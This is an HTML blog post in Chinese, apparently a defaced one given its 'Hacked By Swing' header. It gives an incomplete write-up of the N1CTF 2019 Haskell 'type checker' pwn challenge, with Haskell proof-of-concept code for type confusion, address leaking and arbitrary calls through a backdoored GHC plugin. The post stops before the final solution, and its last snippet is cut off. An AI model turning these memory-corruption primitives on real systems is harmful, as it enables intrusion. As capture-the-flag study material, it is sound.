<!DOCTYPE HTML>
<html lang="zh-CN">

<head><meta name="generator" content="Hexo 3.9.0">
    <!-- hexo-inject:begin --><!-- hexo-inject:end --><!--Setting-->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta http-equiv="Cache-Control" content="no-siteapp">
    <meta http-equiv="Cache-Control" content="no-transform">
    <meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta name="apple-mobile-web-app-capable" content="AncyBlog">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no,email=no,adress=no">
    <meta name="browsermode" content="application">
    <meta name="screen-orientation" content="portrait">
    <meta name="theme-version" content="1.2.3">
    <meta name="root" content="/">
    <link rel="dns-prefetch" href="http://www.anciety.de">

    <script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js">
    </script>
    <!--SEO-->

<meta name="keywords" content="CTF,writeups,pwn,N1CTF,haskell">


<meta name="description" content="N1CTF type checker writeup
废话
首先是一些废话。最近的 CTF 时间都不是很好， N1CTF 正好碰见我开学，要体检之类的事情，导致中间疯狂划水，最后成绩也不是很好。...">


<meta name="robots" content="all">
<meta name="google" content="all">
<meta name="googlebot" content="all">
<meta name="verify" content="all">
    <!--Title-->

<title>
    
    N1CTF 2019 type checker writeup |
    
    AncyBlog
</title>

<link rel="alternate" href="/atom.xml" title="AncyBlog" type="application/atom+xml">


<link rel="icon" href="/favicon.png">

    

<link rel="stylesheet" href="/css/bootstrap.min.css?rev=3.3.7">
<link rel="stylesheet" href="/css/font-awesome.min.css?rev=4.7.0">
<link rel="stylesheet" href="/css/style.css?rev=@@hash">
    



<script type="text/javascript" src="https://tajs.qq.com/stats?sId=66471611" charset="UTF-8"></script><!-- hexo-inject:begin --><!-- hexo-inject:end -->


    

</head>
</html>
<!--[if lte IE 8]>
<style>
    html{ font-size: 1em }
</style>
<![endif]-->
<!--[if lte IE 9]>
<div style="ie">你使用的浏览器版本过低，为了你更好的阅读体验，请更新浏览器的版本或者使用其他现代浏览器，比如Chrome、Firefox、Safari等。</div>
<![endif]-->
<body>
    <!-- hexo-inject:begin --><!-- hexo-inject:end --><header class="main-header"  style="background-image:url(
    https://www.anciety.de/img/banner.jpg)"
     >
    <div class="main-header-box">
        <a class="header-avatar" href="/" title='Anciety'>
            <img src="/img/avatar.jpg" alt="logo头像" class="img-responsive center-block">
        </a>
        <div class="branding">
            <!--<h2 class="text-hide">Snippet主题,从未如此简单有趣</h2>-->
            
            <h2>
                Hacked By Swing
            </h2>
            
        </div>
    </div>
</header>
    <nav class="main-navigation">
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <div class="navbar-header"><span class="nav-toggle-button collapsed pull-right" data-toggle="collapse" data-target="#main-menu" id="mnav">
                        <span class="sr-only"></span>
                        <i class="fa fa-bars"></i>
                    </span>
                    <a class="navbar-brand" href="http://www.anciety.de">
                        AncyBlog</a>
                </div>
                <div class="collapse navbar-collapse" id="main-menu">
                    <ul class="menu">
                        
                        <li role="presentation" class="text-center">
                            <a href="/"><i class="fa "></i>
                                首页</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/writeups/"><i class="fa "></i>
                                writeups</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/学习/"><i class="fa "></i>
                                学习</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/问题解决/"><i class="fa "></i>
                                问题解决</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/扯淡/"><i class="fa "></i>
                                扯淡</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/archives/"><i class="fa "></i>
                                时间轴</a>
                        </li>
                        
                    </ul>
                </div>
            </div>
        </div>
    </div>
</nav>
    <section class="content-wrap">
        <div class="container">
            <div class="row">
                <main class="col-md-8 main-content m-post">
                    <p id="process"></p>
<article class="post">
    <div class="post-head">
        <h1 id="N1CTF 2019 type checker writeup">
            
            N1CTF 2019 type checker writeup
            
        </h1>
        <div class="post-meta">
    
    <span class="categories-meta fa-wrap">
        <i class="fa fa-folder-open-o"></i>
        <a class="category-link" href="/categories/writeups/">writeups</a>
    </span>
    
    
    <span class="fa-wrap">
        <i class="fa fa-tags"></i>
        <span class="tags-meta">
            
            <a class="tag-link" href="/tags/CTF/">CTF</a> <a class="tag-link" href="/tags/N1CTF/">N1CTF</a> <a class="tag-link" href="/tags/haskell/">haskell</a> <a class="tag-link" href="/tags/pwn/">pwn</a> <a class="tag-link" href="/tags/writeups/">writeups</a>
            
        </span>
    </span>
    
    
    
    <span class="fa-wrap">
        <i class="fa fa-clock-o"></i>
        <span class="date-meta">
            2019/09/18</span>
    </span>
    
    <span class="fa-wrap">
        <i class="fa fa-eye"></i>
        <span id="busuanzi_value_page_pv"></span>
    </span>
    
    
</div>
        
        
    </div>
    
    <div class="post-body post-content">
        <h1 id="n1ctf-type-checker-writeup">N1CTF type checker writeup</h1>
<h2 id="废话">废话</h2>
<p>首先是一些废话。最近的 CTF 时间都不是很好， N1CTF 正好碰见我开学，要体检之类的事情，导致中间疯狂划水，最后成绩也不是很好。</p>
<p>这次比赛基本就看了这一个题，最后卡在了控制流程之后不知道怎么做，比较可惜，做一个简单的记录，记一下做题过程。</p>
<h2 id="题目介绍">题目介绍</h2>
<p>题目文件包括一个 Dockerfile 给出了题目的环境，以及一个 haskell stack 的项目，其中有 <code>src</code> 和 <code>chal</code> 两个目录。</p>
<p>由于对 haskell 的项目并不是很熟悉，一开始花了一些时间去熟悉了一下开发环境，根据 <code>backdoor.cabal</code> 文件看到了项目包括的东西：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">library</span><br><span class="line">  exposed-modules:     GHC.Types.Backdoor</span><br><span class="line">                     , GHC.Types.Backdoor.Solver</span><br><span class="line">  build-depends:       base ^&gt;=4.12.0.0</span><br><span class="line">                     , ghc == 8.6.5</span><br><span class="line">                     , ghc-boot == 8.6.5</span><br><span class="line">                     , ghc-tcplugins-extra</span><br><span class="line">  hs-source-dirs:      src</span><br><span class="line">  default-language:    Haskell2010</span><br><span class="line"></span><br><span class="line">executable cnc</span><br><span class="line">  main-is:             Main.hs</span><br><span class="line">  other-modules:       Checker</span><br><span class="line">                     , Executor</span><br><span class="line">  build-depends:       base ^&gt;=4.12.0.0</span><br><span class="line">                     , ghc == 8.6.5</span><br><span class="line">                     , ghc-boot == 8.6.5</span><br><span class="line">                     , ghc-paths</span><br><span class="line">  --                   , unix</span><br><span class="line">  --                   , process</span><br><span class="line">  hs-source-dirs:      chal</span><br><span class="line">  ghc-options:         -O3</span><br><span class="line">  default-language:    Haskell2010</span><br></pre></td></tr></table></figure>
<p>这是题目的编译内容，包括一个库和一个可执行文件 <code>cnc</code>。</p>
<p>经过一些资料查证，基本可以确认这是 <code>GHC</code> （ haskell 目前最为流行的编译器）的一个插件。接下来的部分其实是最耗时的，主要是需要理解这个插件的基本功能，了解插件的基本写法等。</p>
<p>收集到的一些资料内容：</p>
<blockquote>
<p>https://gitlab.haskell.org/ghc/ghc/wikis/plugins/type-checker https://christiaanb.github.io/posts/type-checker-plugin/ https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/extending_ghc.html#writing-compiler-plugins</p>
</blockquote>
<p>chal 中的是编译出的服务，用来限制能力，例如能够 import 的内容等，这里就不再赘述了。</p>
<h2 id="理解类型插件">理解类型插件</h2>
<p>这一部分就比较难解释了，因为其实我自己也没有彻底把 type check 这一部分弄明白。</p>
<p>根据我粗浅的理解， typecheck 可以认为就是约束求解的一个过程，在 haskell 中存在类型推导，而约束求解就是找出满足类型约束的一个具体类型，将其填入，如果找不到相应的类型约束，则认为 typecheck 失败，也就是用户给出的类型不合法。</p>
<p>结合一下题目的代码，这一部分位于 <code>src/GHC/Types/Backdoor/Solver.hs</code></p>
<figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&#123;-# LANGUAGE OverloadedStrings #-&#125;</span></span><br><span class="line"><span class="keyword">module</span> GHC.Types.Backdoor.Solver ( <span class="title">plugin</span> ) <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Data.Maybe ( <span class="title">mapMaybe</span> )</span><br><span class="line"><span class="keyword">import</span> Debug.Trace ( <span class="title">trace</span> )</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Plugins ( <span class="type">Plugin(..)</span>, <span class="title">defaultPlugin</span> )</span><br><span class="line"><span class="keyword">import</span> Module ( <span class="title">mkModuleName</span> )</span><br><span class="line"><span class="keyword">import</span> FastString ( <span class="title">fsLit</span> )</span><br><span class="line"><span class="keyword">import</span> OccName ( <span class="title">mkTcOcc</span> )</span><br><span class="line"><span class="keyword">import</span> TcPluginM ( <span class="type">TcPluginM</span>, <span class="title">tcLookupTyCon</span>, <span class="title">tcPluginTrace</span>, <span class="title">tcPluginIO</span> )</span><br><span class="line"><span class="keyword">import</span> TcRnTypes ( <span class="type">Ct(..)</span>, <span class="type">TcPlugin(..)</span>, <span class="type">TcPluginResult(..)</span>, <span class="title">ctEvidence</span>, <span class="title">ctEvPred</span> )</span><br><span class="line"><span class="keyword">import</span> TyCon ( <span class="type">TyCon(..)</span> )</span><br><span class="line"><span class="keyword">import</span> TcEvidence ( <span class="type">EvTerm(..)</span> )</span><br><span class="line"><span class="keyword">import</span> TyCoRep ( <span class="type">Type(..)</span>, <span class="type">TyLit(..)</span> )</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Type ( <span class="type">PredTree(..)</span>, <span class="type">EqRel(..)</span>, <span class="title">classifyPredType</span> )</span><br><span class="line"><span class="keyword">import</span> Outputable</span><br><span class="line"><span class="keyword">import</span> GHC.TcPluginM.Extra ( <span class="title">evByFiat</span>, <span class="title">lookupModule</span>, <span class="title">lookupName</span> )</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 插件类型，这一部分可以在文档里找到。</span></span><br><span class="line"><span class="comment">-- 主要目的是让 GHC 能够找到这个插件（并且知道其内容）</span></span><br><span class="line"><span class="title">plugin</span> :: <span class="type">Plugin</span></span><br><span class="line"><span class="title">plugin</span> = defaultPlugin &#123; tcPlugin = \_ -&gt; <span class="type">Just</span> myPlugin &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 自定义的插件，给出插件涉及的函数</span></span><br><span class="line"><span class="title">myPlugin</span> :: <span class="type">TcPlugin</span> </span><br><span class="line"><span class="title">myPlugin</span> = </span><br><span class="line">  <span class="type">TcPlugin</span> &#123; tcPluginInit = pluginInit</span><br><span class="line">           , tcPluginSolve = pluginSolve</span><br><span class="line">           , tcPluginStop = \_ -&gt; return ()</span><br><span class="line">           &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 根据查找的一些资料，一个 TyCon 代表一个 Type Constructor</span></span><br><span class="line"><span class="comment">-- 这个函数初始化了自定义插件，基本工作就是找到了两个 Type Constructor，</span></span><br><span class="line"><span class="comment">-- 分别名为 B1 和 B2，作为插件的内部状态，这两个位于 GHC.Types.Backdoor 里</span></span><br><span class="line"><span class="comment">-- Find our custom tycon</span></span><br><span class="line"><span class="title">pluginInit</span> :: <span class="type">TcPluginM</span> (<span class="type">TyCon</span>, <span class="type">TyCon</span>)</span><br><span class="line"><span class="title">pluginInit</span> = <span class="keyword">do</span></span><br><span class="line">  mod &lt;- lookupModule (mkModuleName <span class="string">"GHC.Types.Backdoor"</span>) (fsLit <span class="string">"backdoor"</span>)</span><br><span class="line">  n1 &lt;- lookupName mod $ mkTcOcc <span class="string">"B1"</span></span><br><span class="line">  n2 &lt;- lookupName mod $ mkTcOcc <span class="string">"B2"</span></span><br><span class="line">  tc1 &lt;- tcLookupTyCon n1</span><br><span class="line">  tc2 &lt;- tcLookupTyCon n2</span><br><span class="line">  return (tc1, tc2)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 这里是约束求解，也就是进行真正的类型推导和类型检查。</span></span><br><span class="line"><span class="comment">-- Ct --&gt; Constraint，也就是约束，</span></span><br><span class="line"><span class="comment">-- Solve constraints，三个约束分别代表：</span></span><br><span class="line"><span class="comment">--   Given Constraint : 应该是指已经推导出的部分</span></span><br><span class="line"><span class="comment">--   Derived Constriant : 不知道这是啥</span></span><br><span class="line"><span class="comment">--   Wanted Constraint : 想要确认是否成立的约束</span></span><br><span class="line"><span class="comment">--</span></span><br><span class="line"><span class="comment">-- 所以这个函数所做的事情：</span></span><br><span class="line"><span class="comment">--   1. 如果想要确认的约束为空，则表示通过</span></span><br><span class="line"><span class="comment">--   2. 如果不为空，且之前在初始化时找到的两个类型构造器（ B1 和 B2 ）存在，则</span></span><br><span class="line"><span class="comment">--      调用 backdoorEquality ，检查两个类型构造器是否满足要求</span></span><br><span class="line"><span class="title">pluginSolve</span> :: (<span class="type">TyCon</span>, <span class="type">TyCon</span>) -&gt; [<span class="type">Ct</span>] -&gt; [<span class="type">Ct</span>] -&gt; [<span class="type">Ct</span>] -&gt; <span class="type">TcPluginM</span> <span class="type">TcPluginResult</span></span><br><span class="line"><span class="title">pluginSolve</span> _ _ _ [] = return $ <span class="type">TcPluginOk</span> [] [] </span><br><span class="line"><span class="title">pluginSolve</span> (tc1, tc2) _ _ wanteds = <span class="keyword">do</span></span><br><span class="line">  return $ <span class="type">TcPluginOk</span> (mapMaybe (backdoorEquality tc1 tc2) wanteds) []</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 这里是具体的检查函数，检查两个类型构造器是否满足需要的约束 ct 的要求。</span></span><br><span class="line"><span class="comment">-- 具体方法: 调用 ofBackdoorTycon 确认两个 Type 是否符合要求。</span></span><br><span class="line"><span class="title">backdoorEquality</span> :: <span class="type">TyCon</span> -&gt; <span class="type">TyCon</span> -&gt; <span class="type">Ct</span> -&gt; <span class="type">Maybe</span> (<span class="type">EvTerm</span>, <span class="type">Ct</span>)</span><br><span class="line"><span class="title">backdoorEquality</span> tc1 tc2 ct = </span><br><span class="line">  <span class="keyword">case</span> classifyPredType $ ctEvPred $ ctEvidence ct <span class="keyword">of</span></span><br><span class="line">    <span class="type">EqPred</span> <span class="type">NomEq</span> t1 t2 -&gt; </span><br><span class="line">      <span class="keyword">case</span> bdrs t1 t2 <span class="keyword">of</span></span><br><span class="line">        <span class="type">True</span> -&gt; <span class="type">Just</span> (mkEv t1 t2, ct)</span><br><span class="line">        <span class="type">False</span> -&gt; <span class="type">Nothing</span></span><br><span class="line">    _ -&gt; <span class="type">Nothing</span></span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    mkEv t1 t2 = evByFiat <span class="string">"backdoor"</span> t1 t2</span><br><span class="line">    bdrs t1 t2 = (&amp;&amp;) (ofBackdoorTycon tc1 t1) $ ofBackdoorTycon tc2 t2</span><br><span class="line"></span><br><span class="line"><span class="title">ofBackdoorTycon</span> :: <span class="type">TyCon</span> -&gt; <span class="type">Type</span> -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">ofBackdoorTycon</span> bdcon (<span class="type">TyConApp</span> tycon [<span class="type">LitTy</span> (<span class="type">NumTyLit</span> i), _]) = (&amp;&amp;) (tycon == bdcon) (i == <span class="number">1337</span>)</span><br><span class="line"><span class="title">ofBackdoorTycon</span> _ _ = <span class="type">False</span></span><br></pre></td></tr></table></figure>
<p>最后的效果： 1. 对于 B1 和 B2，其类型在 <code>src/GHC/Types/Backdoor.hs</code> 中：</p>
<figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">B1</span> (<span class="title">a</span> :: <span class="type">Nat</span>) b = <span class="type">B1</span> &#123; <span class="title">unB1</span> :: <span class="title">b</span> &#125;</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">B2</span> (<span class="title">a</span> :: <span class="type">Nat</span>) b = <span class="type">B2</span> &#123; <span class="title">unB2</span> :: <span class="title">b</span> &#125;</span></span><br></pre></td></tr></table></figure>
<pre><code>2. 当 a 为 1337 时，可以将 B1 和 B2 认为类型合法。</code></pre>
<h2 id="类型混淆">类型混淆</h2>
<p>其实到这个时候我们已经基本看完了题目了，这个时候我们已经可以基本确认题目的问题：</p>
<p>由于 B1 和 B2 内部所包含的类型，也就是类型 b 可以不相同，而在类型检查的时候，只检查了 a 是否为 1337 ，以及类型比较的双方是否为 B1 和 B2，其他则认为合法，这就会导致可以将 B1 转换 为 B2，而内部类型并不相同。</p>
<p>这就导致了类型混淆的问题。</p>
<p>poc:</p>
<figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&#123;-# LANGUAGE DataKinds, KindSignatures #-&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- module GHC.Types.Backdoor ( B1(..), B2(..) ) where</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- import GHC.TypeNats ( Nat(..) )</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- data B1 (a :: Nat) b = B1 &#123; unB1 :: b &#125;</span></span><br><span class="line"><span class="comment">-- data B2 (a :: Nat) b = B2 &#123; unB2 :: b &#125;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">module</span> Main <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> GHC.Types.Backdoor</span><br><span class="line"></span><br><span class="line"><span class="title">myVal</span> :: <span class="type">B1</span> <span class="number">1337</span> <span class="type">Int</span></span><br><span class="line"><span class="title">myVal</span> = <span class="type">B1</span> &#123; unB1 = <span class="number">1234</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="title">testVal</span> :: <span class="type">B2</span> <span class="number">1337</span> <span class="type">String</span></span><br><span class="line"><span class="title">testVal</span> = myVal</span><br><span class="line"></span><br><span class="line"><span class="title">extractVal</span> :: <span class="type">String</span></span><br><span class="line"><span class="title">extractVal</span> = (unB2 testVal)</span><br><span class="line"></span><br><span class="line"><span class="title">main</span> :: <span class="type">IO</span> ()</span><br><span class="line"><span class="title">main</span> = putStrLn extractVal</span><br></pre></td></tr></table></figure>
<h2 id="一些测试">一些测试</h2>
<p>这个时候，思路就应当是理解 haskell 的内存模型，并且去构造类型从而做到类似于任意读写或是任意代码调用。</p>
<p>对此我们找到了一些资料：</p>
<p>https://gitlab.haskell.org/ghc/ghc/wikis/commentary/rts/storage/heap-objects https://gitlab.haskell.org/ghc/ghc/wikis/debugging/compiled-code</p>
<p>然而由于我们对 GHC 的不熟悉，我们在大致看了一下资料后，发现理解有一些困难，所以直接尝试了一些方法。</p>
<p>一些思路是显然的，比如我们知道 a -&gt; b 是一个函数，所以我们会尝试将一个数据作为函数去测试。类似的方法使得我们得到了以下的 poc ：</p>
<figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&#123;-# LANGUAGE DataKinds, KindSignatures #-&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">module</span> Main <span class="keyword">where</span> </span><br><span class="line"><span class="keyword">import</span> GHC.Types.Backdoor</span><br><span class="line"></span><br><span class="line"><span class="title">aCallB1</span> :: <span class="type">B1</span> <span class="number">1337</span> <span class="type">Int</span></span><br><span class="line"><span class="title">aCallB1</span> = <span class="type">B1</span> &#123; unB1 = <span class="number">0xdeadbeef</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="title">aCall</span> :: <span class="type">B2</span> <span class="number">1337</span> (<span class="type">Int</span> -&gt; <span class="type">String</span>)</span><br><span class="line"><span class="title">aCall</span> = aCallB1</span><br><span class="line"></span><br><span class="line"><span class="title">call</span> ::<span class="type">String</span></span><br><span class="line"><span class="title">call</span> = (unB2 aCall) <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="title">str</span> :: <span class="type">String</span></span><br><span class="line"><span class="title">str</span> = <span class="string">"AAAAAAAAA"</span></span><br><span class="line"></span><br><span class="line"><span class="title">leak1</span> :: <span class="type">B1</span> <span class="number">1337</span> <span class="type">String</span></span><br><span class="line"><span class="title">leak1</span> = <span class="type">B1</span> &#123;unB1 = str&#125;</span><br><span class="line"></span><br><span class="line"><span class="title">leak2</span> :: <span class="type">B2</span> <span class="number">1337</span> <span class="type">Int</span></span><br><span class="line"><span class="title">leak2</span> = leak1</span><br><span class="line"></span><br><span class="line"><span class="title">leak</span> :: <span class="type">Int</span></span><br><span class="line"><span class="title">leak</span> = (unB2 leak2)</span><br><span class="line"></span><br><span class="line"><span class="title">main</span> = <span class="keyword">do</span></span><br><span class="line">  print $ leak</span><br></pre></td></tr></table></figure>
<p>经过一些包装，得到了以下的任意调用 poc：</p>
<figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&#123;-# LANGUAGE DataKinds, KindSignatures #-&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">module</span> Main <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Prelude</span><br><span class="line"><span class="keyword">import</span> GHC.Types.Backdoor</span><br><span class="line"></span><br><span class="line"><span class="comment">-- import Debug.Trace</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- ffi_call :: Int</span></span><br><span class="line"><span class="comment">-- ffi_call = 0x400000</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Wrap</span> a = <span class="type">Wrap</span> &#123; <span class="title">unWrap</span> :: <span class="title">a</span>&#125; <span class="keyword">deriving</span> (<span class="type">Show</span>)</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Leak</span> a = <span class="type">Leak</span> &#123; <span class="title">unLeak</span> :: <span class="title">a</span>&#125; <span class="keyword">deriving</span> (<span class="type">Show</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="title">infoAddr</span> :: <span class="type">Int</span> -&gt; <span class="type">Wrap</span> <span class="type">Int</span></span><br><span class="line"><span class="title">infoAddr</span> a = <span class="type">Wrap</span> &#123; unWrap = a &#125;</span><br><span class="line"></span><br><span class="line"><span class="title">callB1</span> :: <span class="type">Int</span> -&gt; <span class="type">B1</span> <span class="number">1337</span> <span class="type">Int</span></span><br><span class="line"><span class="title">callB1</span> addr = <span class="type">B1</span> &#123; unB1 = addr &#125;</span><br><span class="line"></span><br><span class="line"><span class="title">callB2</span> :: <span class="type">B1</span> <span class="number">1337</span> <span class="type">Int</span> -&gt; <span class="type">B2</span> <span class="number">1337</span> (a -&gt; b)</span><br><span class="line"><span class="title">callB2</span> b1 = b1</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="title">leakUtil</span> :: a -&gt; <span class="type">Wrap</span> a</span><br><span class="line"><span class="title">leakUtil</span> addr = <span class="type">Wrap</span> &#123; unWrap = addr &#125;</span><br><span class="line"></span><br><span class="line"><span class="title">leakMagic</span> :: <span class="type">Wrap</span> a -&gt; b</span><br><span class="line"><span class="title">leakMagic</span> wrapped = unB2 $ toB2 $ toB1 wrapped</span><br><span class="line">        <span class="keyword">where</span> toB1 :: <span class="type">Wrap</span> a -&gt; <span class="type">B1</span> <span class="number">1337</span> (<span class="type">Wrap</span> a)</span><br><span class="line">              toB1 wrapped = <span class="type">B1</span> &#123; unB1 = wrapped &#125;</span><br><span class="line">              toB2 :: <span class="type">B1</span> <span class="number">1337</span> a -&gt; <span class="type">B2</span> <span class="number">1337</span> b</span><br><span class="line">              toB2 b1 = b1</span><br><span class="line"><span class="title">leak</span> :: a -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">leak</span> thing = leakMagic $ leakUtil thing</span><br><span class="line"></span><br><span class="line"><span class="title">anyCall</span> :: <span class="type">Int</span> -&gt; a -&gt; b</span><br><span class="line"><span class="title">anyCall</span> addr = (unB2 $ callB2 $ callB1 ((leak $ infoAddr addr) - <span class="number">1</span> - <span class="number">0x88</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="title">main</span> :: <span class="type">IO</span> ()</span><br><span class="line"><span class="title">main</span> = <span class="keyword">do</span></span><br><span class="line">  <span class="comment">-- putStrLn $ show $ leak $ infoAddr 0xdeadbeef</span></span><br><span class="line">  putStrLn $ anyC</span><br></pre></td></tr></table></figure>
<h2 id="接下来的步骤">接下来的步骤？</h2>
<p>到现在，也就是我们在比赛中做到的地方了。</p>
<p>接下来我们的尝试主要集中于以下几个方面：</p>
<ul>
<li>尝试找带有连续数据的数据结构（例如 Array)，通过伪造结构做到任意读写: 然而事实上这样的数据结构在 Prelude 中是不存在的， Haskell 的 String 其实是 [Char]，也就是字符的链表，所以也无法使用。</li>
<li>尝试查找一个能够唤起 shell 的 One Gadget ： 由于 Haskell 不会导入不会用到的库，而当前所用到的库中没有，所以这个方法也失败了。</li>
<li>尝试查找一个足够好的函数，用于完成一些额外工作： 这一部分是一直到比赛结束我们一直在尝试的，最后也没有找到一个具有很好性质的函数可以用于完成任意读写等操作。</li>
</ul>
<h2 id="解决方法">解决方法？</h2>
<p>对于这个题，我们最终缺少了一个关键的步骤。这个步骤所依赖的知识在文档中我们其实已经看到，但是缺少一个方法，最终没能完成。</p>
<p>通过查看 writeup ，我们发现了最后的方法：</p>
